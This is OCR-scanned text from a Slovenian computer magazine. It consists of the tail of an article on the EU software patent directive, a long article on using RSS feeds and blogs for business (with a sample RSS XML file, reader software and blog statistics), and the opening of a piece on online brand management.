&ala neomejene patentabilnosti. To pa je datum e
pred objavo novega poljskega mnenja in $e pred
drugim zanimivim doma&im dogodkom.

19. novembra je pri Gospodarski zbornici Slo-
venije potekal posvet o predlagani direktivi pa-
tentnega varstva programske opreme. Pripravila
ga je sekcija slovenskih proizvajalcev program-
ske opreme KODA.SI. Tam je Klemen Ticar iz
biviega ministrstva za informacijsko druzbo prvi¢
predstavil simulacijo, kako bi bil trenutni predlog
direktive, vpeljan v slovenski zakon o industrijski
lastnini. Prevedeno in prilagojeno besedilo je po-
kazalo, da imajo tisti, ki so mnenja, da direktiva
ne prinaa omejitev glede patentiranja, verjetno
prav. Izkazalo se je namreé, da direktiva vsebuje
pogojne stavke, ki naj bi omejevali patentiranje
programov, ki pa so za programe vedno resni¢ni
in tako ne omejujejo nicesar.

Posvetu je prisostvovalo sicer majhno 3tevilo
predstavnikov podjetij, a prisotni so se strinjali z
omejeno razlago direktive. Vecina se jih je prav
tako ostro opredelila proti programskim patentom
(a ne vsi). Tik pred koncem pisanja tega ¢lanka
je v javnost pri§lo tudi uradno stalis¢e sekcije
slovenskih proizvajalcev programske opreme
pri GZS-ju, ki se je uradno opredelila proti pro-
gramskim patentom in za spremembo predloga
direktive.

Po drugi strani pa je zanimivo, da se Gospo-
darska zbornica Slovenije poimensko pojavlja
na strani podpornikov programskih patentov. Po
poizvedovanju je bilo ugotovljeno, da je tam na-
vedena, ker je ¢lanica zdruZzenja EICTA, v kate-
rem je na tem podro&ju nekaj najveéjih podjetij
preglasovalo manj$a in s tem postavilo zdruZenje
na stran zagovornikov programskih patentov. Ce
si ¢lan vecjega zdruZenja, se to seveda lahko zgodi,
vprasanje pa je, zakaj je nasa zbornica eksplicitno
podpisana pod to konkretno pobuda EICTA, &e-
prav v njej (po dostopnih podatkih) ne sodeluje?

Za zaletek si bo treba stvari najprej raz&istiti
kar doma. Novi minister za visoko Solstvo, zna-
nost in tehnologijo dr. Jure Zupan pred pristoj-
nim odborom drZavnega zbora ni dal vedeti, da
bi poznal problem programskih patentov. O¢itno
ni bil pozoren na podobno vprasanje evropskemu
komisarju dr. Janezu Potoéniku na zasliSanju v
Evropskem parlamentu. Upajmo, da sta se med-
tem oba Ze seznanila s problematiko, in to ne le
enostransko.

Znotraj ministrstva za gospodarstvo naj bi imel
najvec besede pri slovenskem stalis¢u do direktive
Urad za intelektualno lastnino, verjetno pa bodo
upostevali tudi Gospodarsko zbornico Slovenije.
Urad prav tako obljublja, da bo januarja 2005
opravil javni posvet na to temo. Bolje pozno kot
nikoli.

Na Zalost pa ni ve¢ ministrstva za informacijsko
druzbo, kjer so v to podro&je imeli $e najbolj Sirok
vpogled.

Okitno se zbujajo tudi domada podjetja, a uteg-
ne se pojaviti nesoglasje med predstavniki tujih
programskih hi§ in podjetji, tesno povezanimi z
njimi, ter samostojnimi proizvajalci programja na
drugi strani.

Z nenadno odlogitvijo Poljske se je namre& po-
vecala moznost, da tudi Slovenija spremeni svoje
prejsnje stalis€e do predloga direktive in s tem
vsebinsko prispeva k razreSitvi problema Ze zno-
traj Sveta. Nato pa se bo imelo priloZnost izkazati
$e nasih sedem evropskih parlamentarcev.

Najmanj, kar lahko naredimo vsi drugi, pa je,
da nage predstavnike pozorno opazujemo, komu-
niciramo z njimi in vztrajamo, da participarna de-
mokracija ne sme biti le puhlica enodnevnica. B
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RSS in blogi v poslovne namene

Protokol RSS in spletni dnevniki blogi spreminjajo poti, prek katerih lahko podjetja prenasajo vsebino do spletnih uporabnikov.

PiSe: RadoS Skrt
rados.skrt@mojmikro.si

SS (Really Simple Syndication) je pro-

tokol, ki vzpostavlja okolje za objavo in

distribucijo spletnih vsebin v formatu

XML. RSS je primeren za prenos vseh
podatkov, ki jih je mogoce razbiti na dovolj
strukturirane enote, ki ustrezajo standardu RSS,
pa naj gre pri tem za posredovanje informacij o
aktualni ponudbi, za prenos ¢lankov ali pa za
obves¢anje o novostih na domaci strani. RSS
je, skratka, primeren za uporabo v primerih, ko
%elimo dostaviti dolo¢eno vsebino do internet-
nih uporabnikov.

Vsebina in povezave, ki se posredujejo prek
RSS-a, je mogoce prebirati s posebnimi pro-
grami ali s programskimi dodatki znotraj br-
skalnikov, ki uredijo posredovano vsebino v
pregledno in urejeno celoto. Uporabnik RSS-a
ima lahko tako na enem mestu zbrane naslove
$tevilnih novic iz razli¢nih virov.

V primerjavi z e-posto, kjer uporabniki kljub
naro¢nini le na to¢no dolocena obvestila in
novice dobivajo Se goro e-poste, ki je niso na-
ro&ili, si pri RSS-u uporabnik sam izbere vir in-
formacij in mu pri tem ni treba skrbeti, koliko
sporo¢il in kdaj bo dobil v postni nabiralnik.
Pomembna razlika med obema kanaloma za
prenos informacij je tudi ta, da zahteva naroc-
nina na e-novice posredovanje kontaktnih po-
datkov (najmanj, kar moramo posredovati, je
nas e—navslov), pri RSS-u pa nam tega ni treba
storiti. Ce smo se Ze lotili primerjave e-poste in
RSS-a, moramo omeniti tudi to, da je odjava s
postnih seznamov, na katere smo naro&eni, ve-
likokrat teavna, medtem ko je za odstranitev
RSS-vira, ki ga ne %elimo ve¢ prejemati, dovolj
%e en klik.

Najvedja tezava e-poste v oleh uporabnikov
je so vse pogostejse zlorabe posredovanih na-
slovov oziroma t. i. spam. Ker pri e-posti nima-
mo nadzora nad pogiljanjem (Eeprav ga bi po
zakonu, ki priznava nacelo opt-in oz. uposteva-
nje privolitve prejemnika, morali imeti), nam
lahko posiljatelj posilja tudi vsebine, na katere
se nismo narodili ali pa jih sploh ne Zelimo pre-
jemati. Osebe in podjetja, ki imajo naSe e-na-
slove, nam pac lahko posljejo vse, kar Zelijo, ne
oziraje se na morebitne negativne posledice, ki
jih tak§no posiljanje prinese uporabnikom.

V popolnem internetnem svetu bi v poStne
predale dobivali samo tisto vsebino, ki smo jo
zahtevali ali Zeleli prejeti in od tistih posiljate-
ljev, od katerih to Zelimo. Tak idealen svet je
seveda utopija, ki se ka%e v poplavi neZelene
poste, ki vsak dan roma v naSe e-poStne nabi-
ralnike. Zal je cena, ki jo moramo placati, ¢e
Yelimo uporabljati e-posto, ta, da smo bolj ali
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manj prisiljeni sprejemati tudi tisto vsebino, ki
je sploh ne Zelimo prebirati in ki nas ne zani-
ma. To je pa¢ negativna posledica demokracije,
ki vlada v internetu. Za taksno stanje seveda
ni kriv internet kot medij, temve¢ uporabniki
sami, saj premalokrat upostevajo pravila eti¢ne-
ga obnaSanja.

Primerno refitev omenjenega problema po-
nuja RSS, ki omogoca prejemanje tiste vsebine
in od tistih pogiljateljev, od katerih to Zelimo.
Vsebino lahko pregledujemo znotraj brskalni-
ka (¢e uporabljamo Firefox) ali pa s posebnimi
programi za prebiranje novic. Ce nam vsebina
ne ustreza, lahko ponudnika informacij pre-
prosto zbriSemo z nasega seznama. Ce samo po-
mislimo, koliko korakov je obitajno potrebnih
pri e-posti, da se odjavimo s seznama prejemni-

kov, da niti ne omenjamo mo#nih zlorab, potem
je tako udoben preklic naro¢nine, ki ga ponuja
RSS, ena izmed vegjih prednosti v primerjavi
z e-posto. Poleg tega se nam vsebina ne kopi&i
v ra¢unalniku in nam ne zavzema dragocenega
prostora na disku, saj prejemamo v nas racunal-
nik samo kratke povzetke in povezave do vse-
binskih podro&ij, ki nas zanimajo, samo vsebino
pa si preberemo na spletnih straneh ponudni-
kov informacij.

RSS-ponudnik namre¢ ne more vsiljevati
vsebine, ki jo ponuja prek svojega vira, niti je
ne more dostaviti do nafega racunalnika brez
nasega privoljenja. Nadzor nad vsebino je na-
mre¢ popolnoma v nasih rokah, saj se sami od-
lo¢amo, katere vsebine bo bral na§ program,
kdaj in kako. RSS deluje tako v celoti po metodi
opt-in, kar pomeni, da posreduje sporocila samo
tistim uporabnikom, ki so se na prejemanje na-
rodili. Tako lahko uporabnik prebira dejansko
samo le tiste vsebine, ki ga res zanimajo, in ne
tako kot pri e-posti, kjer mu je mnogo sporod&il
dobesedno vsiljenih in posredovanih brez nje-
govega privoljenja (problem spama), poleg tega
pa mu grozijo $e Stevilni virusi.

Na podlagi izkusenj, ki jih je prinesla upo-
raba e-poste, in Stevilnih prijav na e-sezname,
ko Se ni bilo tefav s spamom, lahko predvide-
vamo, da se bo nekaj podobnega zgodilo tudi
s prijavami na RSS-vire. Zaradi vse vedjega
Stevila RSS-virov uporabniki tezko lo¢ili zrnje

od plev. Prej ali slej se bodo naro¢ili, predvsem
zaradi radovednosti, na taksno $tevilo virov, za
katerega bodo kmalu ugotovili, da ga ne morejo
vec obvladovati. Seveda bodo uporabniki takoj,
ko bodo ugotovili, da so izgubili preglednost in
se zgubili v gozdu RSS-virov, zaceli opravljati
selekcijo med njimi. Prekomerno §tevilo virov
pomeni tudi veliko nevarnost za vsakega RSS-
ponudnika, saj se z ve¢anjem celotnega Stevila
virov posledi¢no zmanjsuje vidnost vsakega po-
sameznega vira. To napoveduje oster boj med
ponudniki vsebin, ki bodo skugali na tak$ne
in drugacne naline pritegniti pozornost upo-
rabnikov. Uspelo bo samo tistim ponudnikom
RSS-vsebin, ki jim bo s svojo strokovnostjo in
verodostojnostjo ter kakovostjo posredovanih
informacij uspelo prepricati dovolj Sirok krog
uporabnikov.

Ker se po spletnih straneh %e vodijo $tevilne
razprave o tem ali lahko RSS nadomesti e-pos-
to, naj takoj raz¢istimo to dilemo. RSS nikakor
ne bo zamenjal e-poste, saj je bistvo e-poste v
dvosmernem komuniciranju, poglavitna naloga
RSS-a pa je enosmerna distribucija podatkov.
E-posta bo kljub problemu spama $e nekaj ¢asa
ostala nepogresljivo sredstvo komuniciranja.
Dejstvo pa je, da lahko RSS v bliznji prihodno-
sti znatno spremeni nac¢in dostave in dostop do
Yelenih vsebin. Pri¢akovati je, da bo RSS v do-
lo¢eni meri spremenil nadin uporabe interne-
ta. Porazdelila se bodo namre¢ opravila, ki jih
opravljamo z internetnimi aplikacijami (www,
e-posta, RSS). Pricakovati je vse manj prijav
na e-sezname, nikakor pa ne tega, da ljudje ne
bodo ve& posredovali svojih podatkov v zameno
za posredovanje dologenih vsebin. Nagin do-
stave in pregledovanja vsebin se bo porazdelil
otraj omenjenih aplikacij. Ve&ina korespon-
dence bo $e vedno slonela na uporabi e-poste.
Prednost pri dostavi vsebine prek RSS-kanala
bodo vsekakor imeli tisti ponudniki, ki jih bo
uporabnik prej zaznal na trgu in v katerih bo
seveda prepoznal kakovost ponujene vsebine.

Trenutno najvedja slabost RSS-a je slaba raz-
Sirjenost njegove uporabe. Po eni strani to tudi
ni ¢udno, saj se je o RSS-u zacelo intenzivneje
govoriti Sele letos. Ali bodo uporabniki sprejeli
RSS kot osnovno orodje za prebiranje vsebin,
ki jih zanimajo, §e ne moremo zagotovo vedeti.
Dejstvo je, da se Stevilo uporabnikov hitro veca,
predvsem zaradi vse vedjega Stevila nenarocene
poste in virusov, ki se prenasajo z e-posto. Do-
kon¢no uveljavitev lahko pri¢akujemo, ko bo
stopnja penetracije dosegla kriti¢éno maso in ko
bodo podjetja zacela veliko intenzivneje izko-
riS¢ati RSS za posredovanje vsebin do ciljnih
javnosti.

Ena izmed poglavitnih pomanjkljivost RSS-
kanala je tudi ta, da zahteva od uporabnikov
(razen pri Mozillinem brskalniku) namestitev
posebne programske opreme. To pa je Ze te-
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7ava za dobrSen del spletne populacije. Dokler
RSS ne bo postal standardna aplikacija tudi v
brskalniku Internet Explorer, verjetno ne mo-
remo pri¢akovati njegove vecje uporabe. Ta bo
omejena na dolo¢ene ozke segmente naprednih
internetnih uporabnikov.

Ustvarjanje RSS-vira in objava vsebin sta
zelo preprosta. Ponudnik vsebine mora na svojo
spletno stran namestiti RSS-vir (RSS feed), na

katerega se lahko uporabniki naroéijo. Ce po-
nuja vsebino iz razli¢nih interesnih podrocij, je
smiselno, da jo razdeli na razli¢ne kanale. Tako
je lahko npr. en kanal namenjen predstavitvi
izdelkov iz aktualne ponudbe, drugi posredova-
nju ¢lankov itd. Pa raje pojdimo lepo po vrsti
oziroma po korakih, ki jih moramo opraviti, ¢e
Yelimo vzpostaviti RSS-vir:

1. Najprej moramo izdelati RSS-datoteko v
formatu XML (glej okvir), ki bo vklju¢evala
naslove novic, njihove povzetke in povezave do

Prvi del RSS-vira vklju¢uje informacije, ki so po-
membnejSe za raCunalnik kot pa za bralca (razliCica

XML, razli¢ica RSS).

<?xml version="1.0" encoding="S0-8859-1” 7>
<rss version="0.91">

Naslednii del, ki se zatne z oznako <channel> vsebuje osnov-
ne predstavitvene informacije o viru (naslov strani, povezava do
strani, e-naslov skrbnika RSS-vira, datum zadnje spremembe ipd.).

<channel>

<title>Naslov spletne strani</title>
<link>http://www.vasa_spletna_stran.com/</link>
<description>Kratek opis vaSe spletne strani</description>
<webmaster>urednik vsebine na vasi strani</webmaster>
<language>en-us</language>

Sledi osrednii del, v katerem opredelimo celotno vsebino, ki jo
bomo posredovali prek RSSkanala. Med oznakami <item> opre-
delimo naslov in povzetek vsakega posameznega €lanka, avtorja
Clanka, datum objave ipd.

<item>

<title>Naslov novice 1</title>

<link>http://www. vasa_spletna_stran.com/povezava_do_novi-
cel1.htmi</link>

<author>ime avtorja</author>

<date>datum objave</date>

<description>kratek opis novice 1</description>

</item>

<item>

<title> Naslov novice 2</title>

<link> http://www. vasa_spletna_stran.com/povezava_do_novi-
ce2.html </link>

<author> ime avtorja </author>

<data> datum objave </data>

<description> kratek opis novice 2</description>

</item>

Po vnosu vseh novic, moramo na koncu zapreti Se
vse odprte oznake (</channel>,</rss>) in posneti po-
datke kot datoteko XML. Tako smo ustvarili veljaven
RSS-vir, ki ga moramo namestiti Se v strenik, na naso
spletno stran pa dodati povezavo do vira ter v glavo
dokumenta HTML (med oznaki <head> in </head>)
umestiti $e naslednji ukaz: <link rel="alternate” type-
="application/rss+xml” title="//naslov_spletne_stra-
ni” href="http://www.vasa_spletna_stran.com/pove-
zava_do_RSS_vira.xml” />

Preprosto, mar ne?

celotne vsebine novice, ki jo bomo
objavili na spletni strani.

2. Na spletno stran moramo name-
stiti povezavo do nasega RSS-vira. V
ta namen lahko uporabimo naslednjo
ikono EEEI RTINS

3. Priporotljivo je, da vpiSemo na3
RSS-vir v Stevilne RSS-imenike.

4. Verjetno boste kmalu ugotovili,
da imate vec tefav z izobrazevanjem
svojih obiskovalcev o tem, kaj sploh
je RSS in kako se prijaviti na RSS-
vir, kot pa s samim ustvarjanjem

RSS-vira.

Spletne strani, ki posredujejo in-
formacije prek RSS-kanala, to tudi
jasno oznadijo — najpogosteje z iko-
no, na kateri piSe » XML« ali »RSS«
(ELZEMIEE). Za iskanje RSS-virov
lahko uporabite RSS-imenike, kjer
so viri razvri¢eni v razli¢ne katego-
rije (zabava, politika, gospodarstvo
itd). Eden izmed najvegjih tovrstnih
imenikov je Syndic8.com (www.syn-
dic8.com), kjer lahko is¢ete vire po
kategorijah ali prek kljuénih besed.
Dodajanje novega vira je enostavno,
saj morate imeniku posredovati le
URL-naslov do vase datoteke XML.

Ce prebiramo RSS-vire s program-
skim dodatkom Sage, ki deluje zno-
traj brskalnika Firefox, izberemo v
orodni vrstici Tools/Sage in pocaka-
mo, da se nam v levem delu zaslona
odpre okno, ki je namenjeno pregle-
dovanju RSS-virov. S klikom na po-
samezen vir se nam na levi strani pod
seznamom virov odprejo posamezne
novice izbranega vira, v osrednjem
delu zaslona pa naslovi in povzetki
novic. Klik na izbrano novico nas
pripelje na spletno stran,
kjer si lahko novico v celo-
ti preberemo.

Pregledovanje RSS-vira

RSS in blogi v poslovne namene

Ce ¥elimo dodati nov vir, moramo klikniti na
ikono, ki ponazarja poveéevalno steklo (Disco-
ver Feeds). Odprlo se nam bo okno z izpisanimi
viri, na katere se lahko naro¢imo. Zdaj moramo
oznaditi Zeleni vir in klikniti na Add Feed.

Tide [ Lot Updaee Format |03

VEfI4/2004 1%:15 R3S (2.0)
Yahoo! Nevs: Business - Rock Markets 12/14/2004 15:15 R35(2.0)

21452004 15:00 R33(2.0)
Wafoo! Mevs: Business - Commentary  E2/14/2004 14115 RSS(2.0)
Yaihoo! Mews: Busingss - Personal Fi...  12/13/2004 1455 RS5{(2.0)
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Dodajanje RSS-vira

Yathoo! Mevws: Business - Econceny

V brskalniku Interner Explorer lahko upo-
rabite dodatek Pluck (www.pluck.com), ki po-
leg branja RSS-vsebin omogoca $e napredno
iskanje po Googlu, izpopolnjeno upravljanje
s priljubljenimi povezavami in nekaj drugih
funkcionalnosti. Seveda pa lahko za prebiranje
RSS-vsebin uporabljate posebej v ta namen
narejene programe, kot so npr. NewsMonster
(www.newsmonster.org), Awasu (www.awasu.
com), FeedReader (www.feedreader.com), Fe-
edDemon (www.bradsoft.com), itd.

Z besedo blog, ki je skovanka iz besed Web
log, oznacujemo spletno stran, ki je namenjena
objavljanju dnevniskih zapisov posameznikov,
zaradi Cesar blogi obicajno izra?ajo osebna stalis-
¢a avtorjev. Blogi pa ne delujejo zgolj enosmer-
no, saj obi¢ajno omogo&ajo bralcem, da podajo
svoje komentarje na objavljen prispevke, ki jih
nato lastniki dnevniskih strani tudi objavijo.

7 ustrezno programsko opremo je vodenje
bloga preprosto opravilo, ki ne zahteva znanje
programskega jezika. Bloge lahko prek splet-
nega vmesnika piSe kdorkoli, kadarkoli in od
kjerkoli. Eno najbolj poznanih spletnih strani,
ki omogocajo ustvarjanje in objavo blogov, naj-
demo na naslovu www.blogger.com. Ceprav
lahko objavimo vse, kar nam srce poZeli, je
vprasanje, ali bo kdo objavljeno vsebino sploh
prebral. V poplavi blogov je vsekakor treba naj-
prej opozoriti nase in pritegniti uporabnike na
spletno stran, kjer je blog objavljen. Ce pisejo
bloge znane osebe, ki ufivajo ugled v Sirsi jav-
nosti ali pa samo znotraj dologenih interesnih
skupin, se za njihov obisk ni treba bati. Tako
lahko v spletu zasledimo $tevilne dobro obis-
kane bloge, ki jih pisejo igralci, umetniki, po-
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RSS in blogi v poslovne namene

litiki, Sportniki, marketinski strokovnjaki ipd.

Na bloge lahko gledamo tudi z druge strani,
in sicer z vidika bralca. Najti zanimiv blog, ki
bo pritegnil nao pozornost, je v morju $tevinih
blogov silno tezko. Vetina se jih namreé ukvarja
z nebulozami in stvarmi, ki ne zanimajo nikogar.
Ker so nekateri najbolj poznani iskalniki zaradi
Stevilnih zlorab, ki so bile povezane z uvrs¢anjem
spletnih strani, prenehali indeksirati bloge, si
lahko pri njihovem iskanju pomagamo z imeniki
in iskalniki, ki i¥¢ejo vsebino samo po blogih.

ime iskalnika url naslov

Blog Search Engine www.blogsearchengine.com
Daypop www.daypop.com

Blog Catalog www.blogcatalog.com
Feedster www.feedster.com

Blogz www.bloogz.com

Blogwise www.blogwise.com

Stevilo uporabnikov blogov se po podatkih
podjetia Technorati  (www.technorati.com)
podvoji na vsakih pet mesecev. To se odraza
tudi v precejinji rasti Stevila objavljenih blo-
gov, ki bi se naj od lanskega junija, ko so jih na-
Steli 500.000, povecali Ze za osemkrat. Porocilo
podjetja Pew Internet & American Life (www.
pewinternet.org) pravi, naj bi se na vsakih 5,8
bloga ustvaril nov blog, kar pomeni 15.000 no-
vorojenih blogov dnevno. Dnevno bi naj skrb-
niki blogov (90 % jih naj bi bilo starih od 13 do
29 let) objavili okoli 250.000 novih sporo¢il.

Starost Stevilo ustvarjenih blogov Delez v %
10 12 55.500 1,3 %
1319 2.120.000 51,5 %
2029 1.630.000 39,6 %
30 39 241.000 58 %
40 49 41.700 1,0 %
50 59 18.500 0,4 %
60 69 13.900 0,3%
Skupaj 4.120.000 100 %

vir: Perseus Development Corp.

Weblogs Tracked
March 2003 - October, 2004

Hitra rast Stevila blogov
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Ce vzamemo podatke o hitri rasti tevila blo-
gov pod drobnogled, kaj kmalu ugotovimo, da
ni vse tako roZnato, kot se zdi na prvi pogled.
Najvedja slabost §tevilnih blogov je namret ta,
da se jih velika ve&ina sploh ne osveZuje, kar
pomeni, da se pisci ne ukvarjajo ve& z njimi ali
pa so objavljene informacije %e zelo zastarele.
Ker je bilo veliko blogov narejenih v valu nav-
dusenja ali kot testni projekti pri preucevanju
nove tehnologije, so njihovi lastniki preprosto
pozabili nanje. Tak3ne bloge lahko oznacimo za
mrtve, Ceprav jih tevilna raziskovalna podjetja
Se upostevajo v svojih statistikah. Problem ve-
lika §tevila blogov se kaZe seveda tudi v njihovi
branosti. Le redkim blogom je namre¢ uspelo
pritegniti Sir$i krog bralcev. Na svetu bi naj bilo
samo 200 blogov, ki beleZijo meseéno ve¢ kot
1 milijon prikazov strani, 20 blogov pa bi naj
mesecno zabeleZilo vet kot 10 milijonov prika-
zov. Za la%jo primerjavo naj povemo, da je nasa
najbolj obiskana stran Najdi.si oktobra beleZila
55 milijonov prikazov.

Ce ¥elimo pritegniti k branju svojega bloga
$irSi krog uporabnikov, moramo bloge redno
objavljati, kar pa seveda zahteva kar precej
¢asa. Navsezadnje gre za dnevniske zapise, ki bi
jih bilo treba praviloma pisati vsak dan ali vsaj
nekajkrat na teden. Pri pisanju blogov se mora-
mo dr¥ati pravila, da je bolje, e ne napisemo
ni¢ novega, kot pa da bi pisali kar tja v en dan.
Bralci bodo vedno ocenjevali vsebino z vidika
njene zabavnosti, relevantnosti ali pa zgolj upo-
rabnosti v praksi. Ce boste mlatili prazno slamo
in govori¢ili tja v en dan, vas bodo bralci hitro
spregledali in va¥ dnevnik za vedno zapustili.

Poleg podajanja primerne vsebine je pomem-
ben tudi sam na&in pisanja. Pisci se morajo po-
truditi tako s slogom pisanja kot tudi slovni¢no
pravilnostjo objavljenih besedil. V podjetjih, ki
se odlocijo za objavo

4.5 5 blogov, je treba med
i zaposlenimi  skrbno
4.0 izbrati  primernega
3.5 pisca. Izbira je po-
membna  predvsem

3.0 zaradi tega, ker bodo
2.5 pisci, ¢&etudi bodo
! podajali osebna raz-
2.0 miiljanja, v bistvu
glasniki podjetja v

1.5 internetu, ki bodo
1.0 odrazali tudi kulturo
podjetja, v katerem

0.5 so zaposleni. Si pred-
0.0 stavljate, kaksno $ko-
do lahko naredi pod-

jetju pisec, katerega

raik pisanje se ne sklada

s poslovno politiko
podjetja, ali pa pisec,

ki podaja mnenja, ki pri $irSi javnosti izzovejo
negativna ob&utja’

Ne glede na to, ali bom pisali bloge v zasebne
ali poslovne namene, je koristno, ¢e uposteva-
mo naslednje nasvete:

1. Objavljena vsebina mora biti azurna, aktu-
alna, relevantna in verodostojna. Osredotodite
se na podajanje aktualnih informacij s podro-
&ja, na katerem delujete. Podajajte taksno vse-
bino, za katero menite, da bo zanimiva vasemu
ciljnemu ob¢instvu.

2. Oblikovno naj vasi zapisi delujejo prepros-
to, brez odve&ne grafike in uporabe ve&jega Ste-
vila razli¢nih pisav in barv. Bolj kot na obliko
se osredotocite na besedilo. Ljudje bodo obis-
kovali va3 dnevnik zaradi vsebine in ne zaradi
vagih kreativnih oblikovalskih resitev.

3. Ce pisete o razli¢nih stvareh, je priporog-
ljivo, da vsebino razdelite v ve¢ kategorij. Vzdr-
#ujte tudi arhiv vseh objav.

4. Bodite vztrajni. Krog vasih bralcev se bo
verjetno vedal zelo pocasi. BoljSo vsebino, kot
boste objavljali, ve¢ja je moznost, da se bo va3
krog bralcev hitro poveceval.

5. Izmenjujte povezave s pisci blogov. Na
svoji strani objavite povezave do sorodnih ali
pa kako drugace zanimivih blogov.

6. Ni¢ ne bo narobe, &e boste bloge zac¢inili s
kantkom humorja. Vasi zapisi naj ne bodo ste-
rilni in suhoparni.

7. Bralcem omogodite povratne informacije
oz. komentarje. Spodbujajte jih k razpravi. Ve&
odzivov kot boste dobili, ve&ja bo potrditev, da
delate dobro, da so vasi blogi obiskani in da pri-
tegnejo pozornost bralcev.

Uporaba RSS-vira za posredovanje informa-
cij je 3e zlasti primerna za vse informacijsko na-
ravnane spletne strani in za vse tiste strani, ki
v pogostih &asovnih intervalih osveZujejo svojo
vsebino. Uporaba RSS-vira nikakor ne pome-
ni, da morate na stranski tir postaviti e-posto.
Smisel uporabe razli¢nih orodij je v njihovem
povezovanju in doseganju sinergijskih u¢inkov.
Tako je npr. zelo koristno, ¢e prejemnike svojih
postnih sporo&il povabite na prebiranje svojega
bloga, v blogu pa jih povabite, da se naroc¢ijo na
vaSe e-novice in jih npr. prek RSS-a obvestite o
vseh teh stvareh.

Bistvo pisanja blogov v poslovne namene
je poleg gradnje pozitivne podobe podjetja
v javnosti in bolj ali manj prikrite promocije
tudi v vzpostavljanju dolgoro¢nih odnosov s
strankami. Podjetje lahko s pomo&jo blogov
izrabi Se dve pomembni prednosti blogov: upo-
rabi jih lahko kot u¢inkovito orodje »virusnega
marketinga« ali kot enega izmed temeljev pri
gradnji virtualne skupnosti, ki zdrufuje ljudi
podobnih interesov. Potencial blogov le#i pred-
vsem v tem, da se lahko $irsi ali pa zgolj samo
ciljni javnosti predstavimo enostavno, izvirno
in prezplagno, in sicer kot relevanten, stroko-
ven in uporaben vir informacij. Le tako lahko
namre¢ sploh pridobivamo bralce, pritegnemo
njihovo zanimanje, pozornost in zaupanje ter
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Kontekstualni oglas

gradimo dolgoroéne odnose z njimi. Cas in
trud, ki ga bomo namenili pisanju blogov, se
nam lahko &ez &as bogato obrestuje, saj si lahko
podjetje z objavljanjem prispevkov u¢inkovito
nadin gradi verodostojnost in ugled v javnosti,
poleg tega pa lahko bralce, ki so bili na zacetku
samo potencialne stranke, pretvori v zveste in
redne kupce.

Pisci blogov si lahko pri ustvarjanju prometa
na spletnih straneh tudi medsebojno poma-
gajo, in sicer tako, da objavljajo povezave do
sorodnih ali drugage zanimivih blogov. Na pod-
lagi vzajemnih povezav drug drugemu delajo
brezpla¢no reklamo s &imer poveéajo tudi pri-
tok obiskovalcev na spletne strani, kjer je blog
objavljen. Nikakor ne gre prezreti dejstva, da
lahko piscu blogov delajo brezpla¢no reklamo
tudi sami internetni uporabniki s tem, ko na
svojih straneh objavijo povezavo do bloga ali
pa spletno stran bloga prek e-poste priporocajo
svojim znancem in prijateljem. Tovrstni nacin
promocije, ki je znadilen za virusni marketing,
se lahko ob uc¢inkoviti izvedbi odra?a v poveca-
nem obisku spletne strani, ki objavlja blog, in s
tem v vedji moznosti za sklenitev novih poslov.

Nevarnost mnozi¢ne uporabe RSS-a je izgu-
ba njegove »nedolZnosti«, saj bo postal zanimiv
Stevilnim oglasevalcem, ki bodo zaleli v vsebi-
no, ki jo podjetja dostavljajo prek RSS-kanala,
vkljucevati oglasna sporocila. Najbolj obiskani
blogi so seveda Ze sedaj zanimivi oglasevalcem.
Zarazliko od oglagevanja v RSS-virih, ki je $e v
povojih in tudi ne bo ponujalo veliko manevr-
skega prostora, pa imajo oglasevalci na spletnih
straneh blogov na voljo skorajda celoten ogla-
Sevalski arzenal. OglaSevalskemu onesnaZeva-
nju besedil se verjetno ne bo dalo izogniti, e
zlasti ¢e pomislimo, da se je na trgu pred krat-
kim pojavila nova oblika spletnega oglasevanja
— kontekstualni oglasi, ki se zdijo $e posebej pri-
merni za uporabo v besedilih posredovanih prek

RSS-kanala in v blogih.

Pri tej novi vrsti spletnega oglaevanja gre za
oglas, ki se pojavlja kot kombinacija besedilne
povezave in lebdeega oglasa, in sicer v bese-
dilih spletnih medijev na podlagi poprej izbra-
nih klju¢nih besed. Naro¢nik izbere dologene
klju¢ne besede, ki se na spletnih straneh, kjer je
zakupljen kontekstualni oglas, obarvajo in pod-
&rtajo, seveda &e so v vsebini sploh prisotne. Ko
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se uporabnik dotakne besede s kazalcem miske,
se nad besedo prikaZe oglas s povezavo do ogla-
Sevalceve spletne strani.

Pri Httpoolu, ki je trenutno edini ponudnik
kontekstualnih oglasov, je cena zakupa tovrst-
nega oglasa sestavljena iz cene na prikaz (10

SIT) in cene na klik (90 SIT). Grega Stritar,
vodja razvoja pri Httpoolu pravi, da je kontek-
stualni oglas zanimiv tako za oglagevalce kot za
medije. »Za medije je zanimiv zato, ker se ne
prekriva z drugimi oglasnimi pozicijami in tako
mediju poveta moznost prihodka iz oglaSevanja.
Za oglaSevalce pa je zanimiv predvsem zaradi
tega, ker je odslej mogoce tudi na portalih in
spletnih straneh, ne samo iskalnikih, prikazova-
ti »ciljane« oglase — oglase, ki se prikazujejo v
odvisnosti od uporabnikovega deskanja. «

Ponudniki vsebin bodo morali temeljito pre-
misliti, ali se jim splaca objavljati oglase v vse-
binah, ki jih posredujejo. Zavedati se morajo
namred, da so uporabniki Ze pocasi siti vseh vrst
reklam, ki jih sre€ujejo v internetu, in da si Zeli-
jo vsaj malo miru, ki jim ga RSS v osnovi omo-
goca. Nikar ne gre spregledati dejstva, da lahko
uporabnik ponudnika RSS-vira vsak trenutek
izklopi, e se mu to zdi potrebno.

Ker ponudniki vsebin ne morejo dostavljati
svojih vsebin tistim uporabnikom, ki njihovega
vira nimajo v zaznamkih zdruzevalcev RSS-vse-
bin, obstaja verjetnost, da bodo RSS-zdruze-
valci zaleli na razlicne nacine sami potiskati
vsebino do uporabnikov in na veliko oglaseva-
ti posamezne ponudnike, kar lahko spreobrne
vle¢ni (pull) kanal v popolnoma nasprotno
smer — v potisni (push) kanal, ki bo vsiljeval
vsebino uporabnikom. Karkoli se bo Ze zgodilo,
bodo imeli na sre¢o zadnjo besedo uporabniki,
ki bodo sami odlocali o tem, kaj bodo prebirali
in od katerih virov.
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upravljanje trzne znamke v spletu

Pred sedemdesetimi leti je podjetje Coca-
Cola svojim oblikovalcem naloZilo prav
posebno nalogo: oblikujte steklenico, ki
bo, tudi Ce bo poSkodovana ali razbita
na koscke, prepoznavna med tisocimi
drugimi delci stekla ...

Pise: Mitja Mavsar
mitja.mavsar@mojmikro.si

&itno so pri Coca-Coli svoje delo opra-

vili z odliko, saj posebno obliko te ste-

klenice $e danes vsi v trenutku spozna-

mo, ¢etudi ne vidimo logotipa, temved
le delec steklenice. Nam to kaj pove tudi pri
